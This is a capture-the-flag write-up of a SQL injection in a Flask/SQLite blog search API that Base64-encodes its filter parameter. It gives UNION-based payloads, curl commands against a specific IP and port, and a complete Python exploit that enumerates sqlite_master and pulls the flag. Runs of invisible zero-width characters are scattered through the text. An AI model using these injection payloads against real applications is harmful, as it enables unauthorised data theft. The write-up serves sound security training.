← Back to Writeups
CUSTOMMediumWeb

ПОСТимся (Posting/Fasting)

XESXOR9/2/20264 min read
#web#custom#medium#api_parameter_injection#base64_encoding_bypass#sqlite_schema_enumeration#union_based_sqli

ПОСТимся (Posting/Fasting)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: api_parameter_injection, base64_encoding_bypass, sqlite_schema_enumeration, union_based_sqli

Summary

Walkthrough of the CUSTOM Web ПОСТимся (Posting/Fasting). Task: Blog with search API that Base64-encodes filter parameter. Solution: UNION-based SQLi in SQLite via decoded filter interpolated directly into LIKE query, extract flag from sqlite_master enumerat

Description

"Решил, что здесь я буду писать свои посты, но до конца ещё всё не оформил" (I decided this is where I'll write my posts, but I haven't finished setting everything up yet)

A web application — a blog with post search functionality. The search sends a POST request to an API endpoint with a Base64-encoded filter. The filter is directly interpolated into the SQL query without parameterization — a classic UNION-based SQL Injection in SQLite.

Target: http://62.173.140.174:16112 Stack: Flask/Werkzeug 3.1.5, Python 3.11.6, SQLite ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Application Architecture

Endpoints:

  • / — main page with search form
  • /api/posts — GET, returns all posts (JSON)
  • /api/posts/search — POST, search posts (JSON)

Client-Side Logic

JavaScript on the main page encodes the search query in Base64 before sending:

javascript
btoa(unescape(encodeURIComponent(str)))

The request is sent as JSON:

json
{"filter": "<base64-encoded-query>"}

The server decodes Base64 and interpolates the value into the SQL query:

sql
SELECT ... FROM posts WHERE title LIKE '%<decoded_input>%'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Blog Content

GET /api/posts returns 3 posts:

  1. "Welcome to our blog" — introductory post
  2. "https://hackerlab.pro" — about CTF challenges
  3. "Security Best Practices" — a direct hint: "Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines."

The third post is an obvious hint about SQL Injection through lack of parameterized queries.

Confirming SQL Injection

  1. Wildcard % — returned all posts, confirming the use of LIKE
  2. Single quote ' — error:
json
{"error": "unrecognized token: \"'\"", "success": false}

The unrecognized token error is characteristic of SQLite, confirming:

  • SQLite as the DBMS
  • Lack of input sanitization
  • Direct interpolation into the SQL query ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Determining Column Count

Payload: ' UNION SELECT 1,2,3--

bash
curl -s -X POST http://62.173.140.174:16112/api/posts/search \
  -H 'Content-Type: application/json' \
  -d '{"filter": "'$(echo -n "' UNION SELECT 1,2,3--" | base64)'"}'

Response:

json
{"content": 3, "id": 1, "title": 2}

Confirmed: 3 columns — id (position 1), title (position 2), content (position 3).

Step 2: Extracting Database Schema

Payload: ' UNION SELECT 1,name,sql FROM sqlite_master-- ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -X POST http://62.173.140.174:16112/api/posts/search \
  -H 'Content-Type: application/json' \
  -d '{"filter": "'$(echo -n "' UNION SELECT 1,name,sql FROM sqlite_master--" | base64)'"}'

Discovered tables:

TableSchema
flagCREATE TABLE flag (flag TEXT NOT NULL)
postsCREATE TABLE posts (id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT NOT NULL, content TEXT NOT NULL)
sqlite_sequence(system)

Step 3: Extracting the Flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Payload: ' UNION SELECT 1,flag,3 FROM flag--

bash
curl -s -X POST http://62.173.140.174:16112/api/posts/search \
  -H 'Content-Type: application/json' \
  -d '{"filter": "'$(echo -n "' UNION SELECT 1,flag,3 FROM flag--" | base64)'"}'

The flag is returned in the title field.

Full Exploit (Python)

python
#!/usr/bin/env python3
"""UNION-based SQLi exploit for ПОСТимся (HackerLab)"""

import requests
import base64
import json

TARGET = "http://62.173.140.174:16112"

def sqli(payload: str) -> dict:
    """Send Base64-encoded SQLi payload to search API."""
    encoded = base64.b64encode(payload.encode()).decode()
    r = requests.post(
        f"{TARGET}/api/posts/search",
        json={"filter": encoded}
    )
    return r.json()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 1: Confirm injection — determine column count
print("[*] Testing UNION SELECT with 3 columns...")
result = sqli("' UNION SELECT 1,2,3--")
print(f"[+] Column mapping: {json.dumps(result, indent=2)}")

# Step 2: Enumerate tables
print("\n[*] Extracting database schema...")
result = sqli("' UNION SELECT 1,name,sql FROM sqlite_master--")
print(f"[+] Tables found:")
for post in result.get("posts", [result]):
    if isinstance(post, dict) and post.get("title"):
        print(f"    {post['title']}: {post.get('content', 'N/A')}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Extract flag
print("\n[*] Extracting flag from 'flag' table...")
result = sqli("' UNION SELECT 1,flag,3 FROM flag--")
for post in result.get("posts", [result]):
    if isinstance(post, dict) and post.get("title"):
        flag = post["title"]
        if "CODEBY" in str(flag):
            print(f"[+] FLAG: {flag}")
            break

Lessons

  1. Base64 is not protection: Encoding user input in Base64 on the client is obfuscation, not sanitization. After decoding on the server, the data still ends up in the SQL query without parameterization.
  2. Errors as reconnaissance: Detailed SQLite error messages (unrecognized token) immediately reveal the DBMS type and confirm the injection.
  3. Hints in content: The third post about "parameterised queries" is a direct indication of the vulnerability. In CTF, always read the application content.
  4. sqlite_master — key to SQLite: The system table sqlite_master contains the complete DB schema (table names and CREATE statements), allowing quick discovery of the target table. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering api_parameter_injection, base64_encoding_bypass, sqlite_schema_enumeration, union_based_sqli was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-02-14 • CUSTOM • ПОСТимся (Posting/Fasting) • Difficulty: Medium